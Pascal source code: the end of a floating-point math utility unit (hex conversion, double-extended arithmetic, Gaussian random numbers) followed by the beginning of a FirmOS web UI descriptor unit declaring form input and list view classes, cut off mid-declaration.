if hex='' then code := -1
else if (n=9) or (n=7) or (n=3) then begin
if hex[1]='$' then m := 1 else m := 0;
if length(hex)<>2*n+2+m then code := -2
else begin
b := 0;
j := n;
for i:=0 to 2*n+1 do begin
inc(m);
c := hex[m];
if (c>='0') and (c<='9') then b := (b shl 4) or ((ord(c)-c0 ) and $0F)
else if (c>='A') and (c<='F') then b := (b shl 4) or ((ord(c)-cau) and $0F)
else if (c>='a') and (c<='f') then b := (b shl 4) or ((ord(c)-cal) and $0F)
else begin
code := -4;
exit;
end;
if odd(i) then begin
a[j] := b;
b := 0;
dec(j);
end;
end;
code := 0;
end;
end
else code := -3;
end;
{---------------------------------------------------------------------------}
procedure Hex2Ext({$ifdef CONST}const{$endif}hex: string; var x: extended; var code: integer);
{-Convert big-endian hex string to extended, leading $ is skipped, OK if code=0;}
{ hex is must have 20 hex characters (21 if leading $), inverse of Ext2Hex.}
var
a: THexExtA;
begin
Hex2Float(hex, 9, a, code);
if code=0 then x := extended(a);
end;
{---------------------------------------------------------------------------}
procedure Hex2Dbl({$ifdef CONST}const{$endif}hex: string; var d: double; var code: integer);
{-Convert big-endian hex string to double, leading $ is skipped, OK if code=0;}
{ hex is must have 16 hex characters (17 if leading $), inverse of Dbl2Hex.}
var
a: THexExtA;
t: double absolute a;
begin
Hex2Float(hex, 7, a, code);
if code=0 then d := t;
end;
{---------------------------------------------------------------------------}
procedure Hex2Sgl({$ifdef CONST}const{$endif}hex: string; var s: single; var code: integer);
{-Convert big-endian hex string to single, leading $ is skipped, OK if code=0;}
{ hex is must have 8 hex characters (9 if leading $), inverse of Sgl2Hex.}
var
a: THexExtA;
t: single absolute a;
begin
Hex2Float(hex, 3, a, code);
if code=0 then s := t;
end;
{---------------------------------------------------------------------------}
function fisEQd(x,y: double): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if x and y are bit-identical}
var
xr: TDblRec absolute x;
yr: TDblRec absolute y;
begin
fisEQd := (xr.hm=yr.hm) and (xr.lm=yr.lm);
end;
{---------------------------------------------------------------------------}
function fisEQx(x,y: extended): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if x and y are bit-identical}
var
xr: TExtRec absolute x;
yr: TExtRec absolute y;
begin
fisEQx := (xr.xp=yr.xp) and (xr.hm=yr.hm) and (xr.lm=yr.lm);
end;
{---------------------------------------------------------------------------}
function fisNEd(x,y: double): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if x and y are not bit-identical}
var
xr: TDblRec absolute x;
yr: TDblRec absolute y;
begin
fisNEd := (xr.hm<>yr.hm) or (xr.lm<>yr.lm);
end;
{---------------------------------------------------------------------------}
function fisNEx(x,y: extended): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if x and y are not bit-identical}
var
xr: TExtRec absolute x;
yr: TExtRec absolute y;
begin
fisNEx := (xr.xp<>yr.xp) or (xr.hm<>yr.hm) or (xr.lm<>yr.lm);
end;
{---------------------------------------------------------------------------}
function fisEQs(x,y: single): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if x and y are bit-identical}
var
xr: longint absolute x;
yr: longint absolute y;
begin
fisEQs := xr=yr;
end;
{---------------------------------------------------------------------------}
function fisNEs(x,y: single): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if x and y are not bit-identical}
var
xr: longint absolute x;
yr: longint absolute y;
begin
fisNEs := xr<>yr;
end;
{---------------------------------------------------------------------------}
function isign(x: extended): integer;
{-Return the sign of x, 0 if x=0 or NAN}
begin
if IsNaN(x) or (x=0.0) then isign := 0
else if x>0.0 then isign := 1
else isign := -1;
end;
{---------------------------------------------------------------------------}
function maxd(x, y: double): double; {$ifdef HAS_INLINE} inline;{$endif}
{-Return the maximum of two doubles; x,y <> NAN}
begin
if x>y then maxd := x
else maxd:= y;
end;
{---------------------------------------------------------------------------}
function maxx(x, y: extended): extended; {$ifdef HAS_INLINE} inline;{$endif}
{-Return the maximum of two extendeds; x,y <> NAN}
begin
if x>y then maxx := x
else maxx := y;
end;
{---------------------------------------------------------------------------}
function maxs(x, y: single): single; {$ifdef HAS_INLINE} inline;{$endif}
{-Return the maximum of two singles; x,y <> NAN}
begin
if x>y then maxs := x
else maxs := y;
end;
{---------------------------------------------------------------------------}
function mind(x, y: double): double; {$ifdef HAS_INLINE} inline;{$endif}
{-Return the minimum of two doubles; x,y <> NAN}
begin
if x<y then mind := x
else mind := y;
end;
{---------------------------------------------------------------------------}
function minx(x, y: extended): extended; {$ifdef HAS_INLINE} inline;{$endif}
{-Return the minimum of two extendeds; x,y <> NAN}
begin
if x<y then minx := x
else minx := y;
end;
{---------------------------------------------------------------------------}
function mins(x, y: single): single; {$ifdef HAS_INLINE} inline;{$endif}
{-Return the minimum of two singles; x,y <> NAN}
begin
if x<y then mins := x
else mins := y;
end;
{---------------------------------------------------------------------------}
function RandG01: extended;
{-Random number from standard normal distribution (Mean=0, StdDev=1)}
var
s,v1,v2: extended;
{$ifdef J_OPT}
{$J+}
{$endif}
const
RGNxt01: extended = 0.0;
RGValid: boolean = false;
begin
{Generate two random numbers from the standard normal distribution with}
{the polar rejection method, see Knuth [32], Alg. P, Section 3.4.1. One}
{number is returned immediately, the second is saved for the next call.}
{Note: there may be issues with multi-threading and static typed const.}
{But here we are using random which has the same problems via randseed }
{and/or the Mersenne twister static variables in newer FPC versions.}
if RGValid then RandG01 := RGNxt01
else begin
repeat
v1 := 2.0*random - 1.0;
v2 := 2.0*random - 1.0;
s := sqr(v1) + sqr(v2);
until (s<1.0) and (s>0.0);
s := sqrt(-2.0*ln(s)/s);
RandG01 := v1*s;
RGNxt01 := v2*s;
end;
RGValid := not RGValid;
end;
{---------------------------------------------------------------------------}
function RandG(Mean, StdDev: extended): extended;
{-Random number from Gaussian (normal) distribution with given mean}
{ and standard deviation |StdDev|}
begin
RandG := Mean + StdDev*RandG01;
end;
{--------------------------------------------------------------------}
{----------------- ext2 (double-extended) functions ----------------}
{--------------------------------------------------------------------}
const
CSX = 4294967297.0; {2^32+1} {Split constant for extended}
{---------------------------------------------------------------------------}
procedure xxto2x(a,b: extended; var x: ext2); {$ifdef HAS_INLINE} inline;{$endif}
{-Return x = a + b using TwoSum algorithm}
var
z: extended;
begin
{This the TwoSum algorithm, see Knuth [32], sect. 4.2.2, Theorem A/B}
{or Ogita et al. [8], Algorithm 3.1, or Graillat [46], Algorithm 2.1}
{FastTwosum from older AMATH versions is correct only if |a| >= |b| }
x.h := a + b;
z := x.h - a;
x.l := (a - (x.h - z)) + (b - z);
end;
{---------------------------------------------------------------------------}
procedure xto2x(a: extended; var x: ext2); {$ifdef HAS_INLINE} inline;{$endif}
{-Return x = a}
begin
x.h := a;
x.l := 0.0;
end;
{---------------------------------------------------------------------------}
procedure xmul12(a,b: extended; var xh,xl: extended); {$ifdef HAS_INLINE} inline;{$endif}
{-Return x = a * b}
var
t,a1,a2,b1,b2: extended;
begin
{G.W. Veltkamp's multiplication routine, see Dekker[64] mul12}
{See also Linnainmaa[65]: exactmul2; and [8],[46]: TwoProduct}
t := a*CSX; a1 := (a - t) + t; a2 := a - a1;
t := b*CSX; b1 := (b - t) + t; b2 := b - b1;
xh := a*b;
xl := (((a1*b1 - xh) + a1*b2) + a2*b1) + a2*b2;
end;
{---------------------------------------------------------------------------}
procedure sqr12x(a: extended; var xh,xl: extended); {$ifdef HAS_INLINE} inline;{$endif}
{-Return x = a^2}
var
t,a1,a2: extended;
begin
{mul12 with _b=_a, avoids second split}
t := a*CSX; a1 := (a - t) + t; a2 := a - a1;
xh := sqr(a);
xl := ((sqr(a1) - xh) + 2.0*a1*a2) + sqr(a2);
end;
{---------------------------------------------------------------------------}
procedure mul2x({$ifdef CONST}const{$else}var{$endif}a,b: ext2; var x: ext2);
{-Return x = a*b}
var
zh,zl: extended;
begin
{Linnainmaa[65]: longmul}
xmul12(a.h, b.h, zh, zl);
zl := ((a.h + a.l)*b.l + a.l*b.h) + zl;
x.h := zh + zl;
x.l := (zh - x.h) + zl;
end;
{---------------------------------------------------------------------------}
procedure mul21x({$ifdef CONST}const{$else}var{$endif}a: ext2; b: extended; var x: ext2);
{-Return x = a*b}
var
zh,zl: extended;
begin
{mul2 with b.h=b, b.l=0}
xmul12(a.h, b, zh, zl);
zl := a.l*b + zl;
x.h := zh + zl;
x.l := (zh - x.h) + zl;
end;
{---------------------------------------------------------------------------}
procedure sqr2x({$ifdef CONST}const{$else}var{$endif}a: ext2; var x: ext2);
{-Return x = a^2}
var
zh,zl: extended;
begin
{Simplified mul2}
sqr12x(a.h, zh, zl);
zl := ((a.h + a.l)*a.l + a.l*a.h) + zl;
x.h := zh + zl;
x.l := (zh - x.h) + zl;
end;
{---------------------------------------------------------------------------}
procedure div2x({$ifdef CONST}const{$else}var{$endif}a,b: ext2; var x: ext2);
{-Return x = a/b, b<>0}
var
qh,ql,zh,zl: extended;
begin
{Linnainmaa[65]: longdiv}
zh := a.h/b.h;
xmul12(b.h, zh, qh, ql);
zl := ((((a.h - qh) - ql) + a.l) - zh*b.l) / (b.h+b.l);
x.h := zh + zl;
x.l := (zh - x.h) + zl;
end;
{---------------------------------------------------------------------------}
procedure div21x({$ifdef CONST}const{$else}var{$endif}a: ext2; b: extended; var x: ext2);
{-Return x = a/b, b<>0}
var
qh,ql,zh,zl: extended;
begin
{div2 with b.l=0}
zh := a.h/b;
xmul12(b, zh, qh, ql);
zl := (((a.h - qh) - ql) + a.l) / b;
x.h := zh + zl;
x.l := (zh - x.h) + zl;
end;
{---------------------------------------------------------------------------}
procedure inv2x({$ifdef CONST}const{$else}var{$endif}b: ext2; var x: ext2);
{-Return x = 1/b, b<>0}
var
qh,ql,zh,zl: extended;
begin
{div2 with a,h=1, a.l=0}
zh := 1.0/b.h;
xmul12(b.h, zh, qh, ql);
zl := (((1.0 - qh) - ql) - zh*b.l) / (b.h+b.l);
x.h := zh + zl;
x.l := (zh - x.h) + zl;
end;
{---------------------------------------------------------------------------}
procedure add2x({$ifdef CONST}const{$else}var{$endif}a,b: ext2; var x: ext2); {$ifdef HAS_INLINE} inline;{$endif}
{-Return x = a+b}
var
zh,zl: extended;
begin
{Linnainmaa[65]: longadd}
zh := a.h + b.h;
zl := a.h - zh;
zl := (((zl + b.h) + (a.h-(zl + zh))) + a.l) + b.l;
x.h := zh + zl;
x.l := (zh - x.h) + zl;
end;
{---------------------------------------------------------------------------}
procedure add21x({$ifdef CONST}const{$else}var{$endif}a: ext2; b: extended; var x: ext2);
{-Return x = a+b}
var
zh,zl: extended;
begin
{add2 with b.l=0}
zh := a.h + b;
zl := a.h - zh;
zl := ((zl + b) + (a.h-(zl + zh))) + a.l;
x.h := zh + zl;
x.l := (zh - x.h) + zl;
end;
{---------------------------------------------------------------------------}
procedure sub2x({$ifdef CONST}const{$else}var{$endif}a,b: ext2; var x: ext2); {$ifdef HAS_INLINE} inline;{$endif}
{-Return x = a-b}
var
zh,zl: extended;
begin
{add2 with a + (-b)}
zh := a.h - b.h;
zl := a.h - zh;
zl := (((zl - b.h) + (a.h-(zl + zh))) + a.l) - b.l;
x.h := zh + zl;
x.l := (zh - x.h) + zl;
end;
{---------------------------------------------------------------------------}
procedure sqrt2x({$ifdef CONST}const{$else}var{$endif}a: ext2; var x: ext2);
{-Return x = sqrt(a), a >= 0}
var
qh,ql,zh,zl: extended;
begin
{Dekker[64] sqrt2, with mul12 replaced by sqr12}
zh := sqrt(a.h);
sqr12x(zh, qh, ql);
zl := 0.5*(((a.h - qh) - ql) + a.l)/zh;
x.h := zh + zl;
x.l := (zh - x.h) + zl;
end;
{---------------------------------------------------------------------------}
procedure pow2xi({$ifdef CONST}const{$else}var{$endif}a: ext2; n: extended; var y: ext2);
{-Return y = a^n, frac(n)=0, a<>0 if n<0}
var
x: extended;
z: ext2;
begin
{$ifdef debug}
if frac(n) <> 0.0 then begin
writeln('pow2xi: frac(n) <>0');
end;
{$endif}
x := int(n);
if x<0.0 then begin
{1/a^x instead of (1/a)^x maybe a bit more accurate but can overflow}
inv2x(a,y);
pow2xi(y,-x,y);
end
else if x<=2.0 then begin
if x=1.0 then y := a
else if x=2.0 then sqr2x(a,y)
else begin
{a^0 = 1}
y.h := 1.0;
y.l := 0.0;
end;
end
else if ((a.h=0.0) and (a.l=0.0)) then y := a {=0}
else begin
{here a<>0, x>2}
z.h := a.h;
z.l := a.l;
y.h := 1.0;
y.l := 0.0;
while true do begin
x := 0.5*x;
if frac(x)<>0.0 then mul2x(y,z,y);
x := int(x);
if x=0.0 then exit
else sqr2x(z,z);
end;
end;
end;
{---------------------------------------------------------------------------}
procedure pi2x(var x: ext2);
{-Return x = Pi with double-extended precision}
const
pih: THexExtW = ($C235,$2168,$DAA2,$C90F,$4000); {3.1415926535897932385}
pil: THexExtW = ($8CBB,$FC8F,$75D1,$ECE6,$BFBE); {-5.0165576126683320234E-20}
begin
x.l := extended(pil);
x.h := extended(pih);
end;
end.
|
unit fre_db_common;
{
(§LIC)
(c) Autor,Copyright
Dipl.Ing.- Helmut Hartl, Dipl.Ing.- Franz Schober, Dipl.Ing.- Christian Koch
FirmOS Business Solutions GmbH
www.openfirmos.org
New Style BSD Licence (OSI)
Copyright (c) 2001-2013, FirmOS Business Solutions GmbH
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the <FirmOS Business Solutions GmbH> nor the names
of its contributors may be used to endorse or promote products derived
from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
(§LIC_END)
}
{$mode objfpc}{$H+}
{$modeswitch nestedprocvars}
interface
uses
Classes, SysUtils,FRE_DB_INTERFACE,FRE_SYSTEM,FOS_TOOL_INTERFACES;
type
TFRE_DB_TRANSFORM_TYPE = (fdbtt_post2json, fdbtt_get2html,fdbtt_WebSocket);
TFRE_DB_LAYOUT_POS = (lt_left,lt_center,lt_right,lt_top,lt_bottom);
TFRE_DB_CLIENT_ACTION = (fdbca_openContent);
TFRE_DB_BUTTON_TYPE = (fdbbt_submit,fdbbt_button,fdbbt_close);
TFRE_DB_GRID_BUTTON_DEP = (fdgbd_single,fdgbd_multi,fdgbd_always,fdgbd_manual);
TFRE_DB_CONTENT_TYPE = (ct_html,ct_javascript,ct_pascal,ct_log);
TFRE_DB_REC_INTERVAL_TYPE = (rit_once,rit_minute,rit_hour,rit_day,rit_week,rit_month,rit_quarter,rit_year);
TFRE_DB_REC_INTERVAL_TYPES = set of TFRE_DB_REC_INTERVAL_TYPE;
TFRE_DB_TRANSFORM_FUNCTION = procedure(const session:TFRE_DB_UserSession;const command_type:TFRE_DB_COMMANDTYPE;const result_intf:IFRE_DB_Object;var rawContent:TFRE_DB_RawByteString;var lContentType:string; const isInnerContent:Boolean=false; const TransformType: TFRE_DB_TRANSFORM_TYPE=fdbtt_post2json);
const
CFRE_DB_CHOOSER_DH : array [TFRE_DB_CHOOSER_DH] of string = ('dh_chooser_radio','dh_chooser_check','dh_chooser_combo');
CFRE_DB_LAYOUT_POS : array [TFRE_DB_LAYOUT_POS] of string = ('lt_left','lt_center','lt_right','lt_top','lt_bottom');
CFRE_DB_BUTTON_TYPE : array [TFRE_DB_BUTTON_TYPE] of string = ('bt_submit','bt_button','bt_close');
CFRE_DB_GRID_BUTTON_DEP : array [TFRE_DB_GRID_BUTTON_DEP] of string = ('gbd_single','gbd_multi','gbd_always','gbd_manual');
CFRE_DB_CHART_TYPE : array [TFRE_DB_CHART_TYPE] of string = ('ct_pie','ct_column','ct_line');
CFRE_DB_LIVE_CHART_TYPE : array [TFRE_DB_LIVE_CHART_TYPE] of string = ('lct_line','lct_sampledline','lct_column');
CFRE_DB_CONTENT_TYPE : array [TFRE_DB_CONTENT_TYPE] of string = ('ct_html','ct_javascript','ct_pascal','ct_log');
type
{ TFRE_DB_UPDATE_UI_ELEMENT_DESC }
TFRE_DB_UPDATE_UI_ELEMENT_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes a status change. Used to enable/disable the element or to change the caption/hint.
function DescribeStatus (const elementId:String; const disabled:Boolean; const newCaption:String=''; const newHint:String=''; const newFunc: TFRE_DB_SERVER_FUNC_DESC=nil): TFRE_DB_UPDATE_UI_ELEMENT_DESC;
//@ Describes a submenu change. Used to change a submenu within a toolbar.
function DescribeSubmenu (const elementId:String; const menu: TFRE_DB_MENU_DESC): TFRE_DB_UPDATE_UI_ELEMENT_DESC;
//@ Describes if drag is disabled for a grid.
function DescribeDrag (const elementId:String; const disabled: Boolean): TFRE_DB_UPDATE_UI_ELEMENT_DESC;
end;
{ TFRE_DB_UPDATE_SITEMAP_ENTRY_INFO_DESC }
TFRE_DB_UPDATE_SITEMAP_ENTRY_INFO_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes an info update of a sitemap entry.
function Describe (const entryPath: TFRE_DB_StringArray; const newsCount:Integer): TFRE_DB_UPDATE_SITEMAP_ENTRY_INFO_DESC;
end;
TFRE_DB_STORE_DESC = class;
{ TFRE_DB_DATA_ELEMENT_DESC }
TFRE_DB_DATA_ELEMENT_DESC = class(TFRE_DB_CONTENT_DESC)
private
function _Describe (const id,caption: TFRE_DB_String; const displayType: TFRE_DB_DISPLAY_TYPE; const sortable: Boolean; const filterable: Boolean; const size: Integer; const display: Boolean; const editable: Boolean; const required: Boolean; const iconId:String; const openIconId:String; const filterValues: TFRE_DB_StringArray; const tooltipId: String):TFRE_DB_DATA_ELEMENT_DESC;
public
//@ Describes an entry of a collection view.
//@ tooltipId only useful for display type dt_icon
//@ FIXXME: required parameter not implemented yet.
function Describe (const id,caption: TFRE_DB_String; const displayType: TFRE_DB_DISPLAY_TYPE=dt_string; const sortable: Boolean=false; const filterable:Boolean=false; const size: Integer=1; const display: Boolean=true; const editable: Boolean=false; const required: Boolean=false; const iconId:String=''; const openIconId:String=''; const filterValues: TFRE_DB_StringArray=nil; const tooltipId:String=''):TFRE_DB_DATA_ELEMENT_DESC;
//@ Describes a 'progressbar' entry.
//@ If labelId is given the value of this field will be used as label of the progressbar otherwise
//@ the value (id field) will be used as label followed by a percent sign.
function DescribePB (const id,caption: TFRE_DB_String; const labelId: string=''; const maxValue: Single=100; const sortable: Boolean=false; const filterable:Boolean=false; const size: Integer=1):TFRE_DB_DATA_ELEMENT_DESC;
//@ Sets the store which holds the possible values of the data field.
//@ Only useful if the visualisation (e.g. TFRE_DB_VIEW_LIST_DESC) is editable.
//@ FIXXME: not implemented yet.
procedure setValueStore (const store:TFRE_DB_STORE_DESC);
end;
{ TFRE_DB_VIEW_LIST_LAYOUT_DESC }
TFRE_DB_VIEW_LIST_LAYOUT_DESC = class(TFRE_DB_CONTENT_DESC)
private
procedure AddStore (const store: TFRE_DB_STORE_DESC);
public
//@ Describes the data model of a collection. See also TFRE_DB_STORE_DESC.
//@ The idAttr defines the unique key of the collection.
function Describe (): TFRE_DB_VIEW_LIST_LAYOUT_DESC;
//@ Creates a new TFRE_DB_DATA_ELEMENT_DESC and adds it.
function AddDataElement : TFRE_DB_DATA_ELEMENT_DESC;
end;
TFRE_DB_INPUT_BLOCK_DESC = class;
TFRE_DB_INPUT_GROUP_DESC = class;
TFRE_DB_INPUT_GROUP_PROXY_DESC = class;
{ TFRE_DB_FORM_INPUT_DESC }
//@ Base class for form input elements.
//@ Do NOT use! Use a derived class instead.
//@ E.g. TFRE_DB_INPUT_DESC instead.
TFRE_DB_FORM_INPUT_DESC = class(TFRE_DB_CONTENT_DESC)
private
//@ Used internally through inheritance.
//@ groupRequired => inputs that are prefixed with '.' are grouped together and if gouprequired=true, this input is required if any input of the group receives input (e.g. pass.old pass.confirm pass.new)
function Describe (const caption,field_reference : String; const required: Boolean=false; const groupRequired: Boolean=false; const disabled: boolean = false;const hidden:Boolean=false; const defaultValue:String=''; const validator: IFRE_DB_ClientFieldValidator=nil ; const validatorConfigParams : IFRE_DB_Object=nil) : TFRE_DB_FORM_INPUT_DESC;virtual;
public
//@ Adds a dependent field.
procedure AddDependence(const fieldName: String; const disablesField: Boolean=true);
//@ Adds all fields of the input group as dependent fields.
procedure AddDependence(const inputGroup: TFRE_DB_INPUT_GROUP_DESC; const disablesFields: Boolean=true);
//@ Sets the default value of the input.
procedure setDefaultValue(const value: String);
end;
{ TFRE_DB_STORE_ENTRY_DESC }
TFRE_DB_STORE_ENTRY_DESC = class(TFRE_DB_FORM_INPUT_DESC)
public
//@ Describes a data entry of a simple store which has a caption and a value data element.
//@ Used for e.g. a chooser in a form.
function Describe (const caption,value: string):TFRE_DB_STORE_ENTRY_DESC; reintroduce;
end;
{ TFRE_DB_STORE_DESC }
TFRE_DB_STORE_DESC = class(TFRE_DB_CONTENT_DESC)
private
function FindEntryByCaption (const caption:String):String;
public
//@ Describes a store whith the given data model.
//@ The server function is used to retrieve the data.
//@ The id will be needed if a grid selection should filter the store.
function Describe (const idField:String='uid'; const serverFunc:TFRE_DB_SERVER_FUNC_DESC=nil; const sortAndFilterFunc: TFRE_DB_SERVER_FUNC_DESC=nil; const destroyFunc:TFRE_DB_SERVER_FUNC_DESC=nil; const clearQueryIdFunc: TFRE_DB_SERVER_FUNC_DESC=nil; const id:String=''; const pageSize:Integer=25): TFRE_DB_STORE_DESC; reintroduce;
//@ Creates a new entry and adds it to the store. E.g. used for choosers.
function AddEntry : TFRE_DB_STORE_ENTRY_DESC;
end;
{ TFRE_DB_INPUT_DESC }
TFRE_DB_INPUT_DESC = class(TFRE_DB_FORM_INPUT_DESC)
public
//@ Describes a text input field within a form.
//@ See also TFRE_DB_FORM_INPUT_DESC
function Describe (const caption,field_reference : String; const required: Boolean=false; const groupRequired: Boolean=false; const disabled: boolean = false;const hidden:Boolean=false; const defaultValue:String=''; const validator: IFRE_DB_ClientFieldValidator=nil; const validatorConfigParams : IFRE_DB_Object=nil; const multiValues: Boolean=false; const isPass:Boolean=false; const confirms: String='') : TFRE_DB_INPUT_DESC; reintroduce;
end;
{ TFRE_DB_INPUT_DESCRIPTION_DESC }
TFRE_DB_INPUT_DESCRIPTION_DESC = class(TFRE_DB_FORM_INPUT_DESC)
public
//@ Describes an info field within a form.
function Describe (const caption,description_: String; const id:String='') : TFRE_DB_INPUT_DESCRIPTION_DESC; reintroduce;
end;
{ TFRE_DB_INPUT_BUTTON_DESC }
TFRE_DB_INPUT_BUTTON_DESC = class(TFRE_DB_FORM_INPUT_DESC)
public
//@ Describes an input field as button
//@ cleanupFunc is called if the button was used by the user and than is hidden by another input field e.g. chooser
function Describe (const caption,buttonCaption: String; const serverFunc:TFRE_DB_SERVER_FUNC_DESC; const sendInputData: Boolean=false; const cleanupFunc: TFRE_DB_SERVER_FUNC_DESC=nil) : TFRE_DB_INPUT_BUTTON_DESC; reintroduce;
//@ Describes a download button for a form panel or a dialog.
//@ closeDialog set to true is only useful for dialogs.
function DescribeDownload (const caption,buttonCaption: String;const downloadId: String; const closeDialog: Boolean): TFRE_DB_INPUT_BUTTON_DESC;
end;
{ TFRE_DB_INPUT_BOOL_DESC }
TFRE_DB_INPUT_BOOL_DESC = class(TFRE_DB_FORM_INPUT_DESC)
public
//@ Describes a boolean input field within a form.
function Describe(const caption, field_reference:string; const required: boolean=false; const groupRequired: Boolean=false; const disabled: boolean=false; const defaultValue:Boolean=false):TFRE_DB_INPUT_BOOL_DESC;reintroduce;
end;
{ TFRE_DB_INPUT_NUMBER_DESC }
TFRE_DB_INPUT_NUMBER_DESC = class(TFRE_DB_FORM_INPUT_DESC)
//@ Describes a number input within a form.
//@ minMax Array has to be of length 2 (min and max definition)
function Describe (const caption,field_reference : String; const required: Boolean=false; const groupRequired: Boolean=false; const disabled: boolean = false;const hidden:Boolean=false; const defaultValue:String='';
const digits: Integer=-1) : TFRE_DB_INPUT_NUMBER_DESC;reintroduce;
//@ Describes a number slider within a form.
function DescribeSlider (const caption,field_reference : String; const min,max: Real; const showValueField: Boolean=true; const defaultValue:String=''; const digits: Integer=0; const steps: Integer=-1) : TFRE_DB_INPUT_NUMBER_DESC;
//@ sets the min and max of the input element
procedure setMinMax (const min,max: Real);
procedure setMin (const min: Real);
procedure setMax (const max: Real);
end;
{ TFRE_DB_INPUT_CHOOSER_DESC }
TFRE_DB_INPUT_CHOOSER_DESC = class(TFRE_DB_FORM_INPUT_DESC)
public
//@ Describes a chooser within a form.
function Describe (const caption, field_reference: string; const store: TFRE_DB_STORE_DESC; const display_hint:TFRE_DB_CHOOSER_DH=dh_chooser_combo;
const required: boolean=false; const groupRequired: Boolean=false; const add_empty_for_required:Boolean=false; const disabled: boolean=false; const defaultValue:String=''): TFRE_DB_INPUT_CHOOSER_DESC;reintroduce;
function DescribeMultiValue (const caption, field_reference: string; const store: TFRE_DB_STORE_DESC; const display_hint:TFRE_DB_CHOOSER_DH=dh_chooser_radio;
const required: boolean=false; const groupRequired: Boolean=false; const add_empty_for_required:Boolean=false; const disabled: boolean=false; const defaultValue:TFRE_DB_StringArray=nil): TFRE_DB_INPUT_CHOOSER_DESC;
//@ FIXXME: only implemented for dh_chooser_combo.
procedure addFilterEvent (const filteredStoreId,refId:String);
//@ Adds a dependent input element. If chooserValue is selected the input element will be updated.
procedure addDependentInput (const inputId: String; const chooserValue: String; const visible: TFRE_DB_FieldDepVisibility=fdv_none; const enabledState: TFRE_DB_FieldDepEnabledState=fdes_none; const caption: String='';const validator: IFRE_DB_ClientFieldValidator=nil; const validatorConfigParams : IFRE_DB_Object=nil);
//@ Adds a dependent input group. If chooserValue is selected the input element will be updated.
procedure addDependentInputGroup(const inputGroup: TFRE_DB_INPUT_GROUP_DESC; const chooserValue: String; const visible: TFRE_DB_FieldDepVisibility=fdv_visible; const enabledState: TFRE_DB_FieldDepEnabledState=fdes_none);
procedure setStore (const store: TFRE_DB_STORE_DESC);
procedure addOption (const caption,value: String);
//@ Enables the caption compare.
//@ Useful for fields which store the caption and not a link to the object.
//@ Default is false.
procedure captionCompareEnabled (const enabled:Boolean);
end;
{ TFRE_DB_INPUT_DATE_DESC }
TFRE_DB_INPUT_DATE_DESC = class(TFRE_DB_FORM_INPUT_DESC)
public
//@ Describes a date input within a form.
function Describe (const caption,field_reference : String; const required: Boolean=false; const groupRequired: Boolean=false; const disabled: boolean = false;const hidden:Boolean=false;
const defaultValue:String=''; const validator: IFRE_DB_ClientFieldValidator=nil; const validatorConfigParams : IFRE_DB_Object=nil) : TFRE_DB_INPUT_DATE_DESC;reintroduce;
end;
{ TFRE_DB_INPUT_RECURRENCE_DESC }
TFRE_DB_INPUT_RECURRENCE_DESC = class(TFRE_DB_FORM_INPUT_DESC)
public
//@ Describes a recurrence input within a form.
function Describe (const caption,field_reference : String; const intervals: TFRE_DB_REC_INTERVAL_TYPES=[rit_once,rit_minute,rit_hour,rit_day,rit_week,rit_quarter,rit_month,rit_year]; const required: Boolean=false; const groupRequired: Boolean=false; const disabled: boolean = false;const hidden:Boolean=false; const defaultValue:String=''; const displayOnly: Boolean=false) : TFRE_DB_INPUT_RECURRENCE_DESC;reintroduce;
end;
{ TFRE_DB_INPUT_FILE_DESC }
TFRE_DB_INPUT_FILE_DESC = class(TFRE_DB_FORM_INPUT_DESC)
public
//@ Describes an file input within a form.
//@ Validator: only 'image' validator implemented.
//@ Image Validator Configuration: currently only implemented for the preview!
//@ width: (integer - def: 100) width in px,
//@ height: (integer - def: 100) height in px,
//@ absolute: (boolean: def: false) if false image aspect ration will be preserved, width and height params will be maximum settings
//@ else image will be sized exactly to width and height settings
function Describe (const caption,field_reference : String; const required: Boolean=false; const groupRequired: Boolean=false; const disabled: boolean = false;const hidden:Boolean=false;
const defaultValue:String=''; const validator: IFRE_DB_ClientFieldValidator=nil; const validatorConfigParams : IFRE_DB_Object=nil; const multiValues: Boolean=false) : TFRE_DB_INPUT_FILE_DESC;reintroduce;
end;
{ TFRE_DB_VIEW_LIST_BUTTON_DESC }
TFRE_DB_VIEW_LIST_BUTTON_DESC = class(TFRE_DB_CONTENT_DESC)
private
function _Describe (const func:TFRE_DB_SERVER_FUNC_DESC;const icon:String; const caption:String; const tooltip:String; const buttonDep:TFRE_DB_GRID_BUTTON_DEP):TFRE_DB_VIEW_LIST_BUTTON_DESC;
public
//@ Describes a button of a list view.
//@ The buttonDep parameter defines the dependence between the button and the selection state of the list view.
//@ fdgbd_single buttons are enabled when exactly one element is selected.
//@ fdgbd_multi buttons are enabled when at least one element is selected.
//@ fdgbd_always buttons are always enabled.
function Describe (const func:TFRE_DB_SERVER_FUNC_DESC;const icon:String; const caption:String=''; const tooltip:String='';
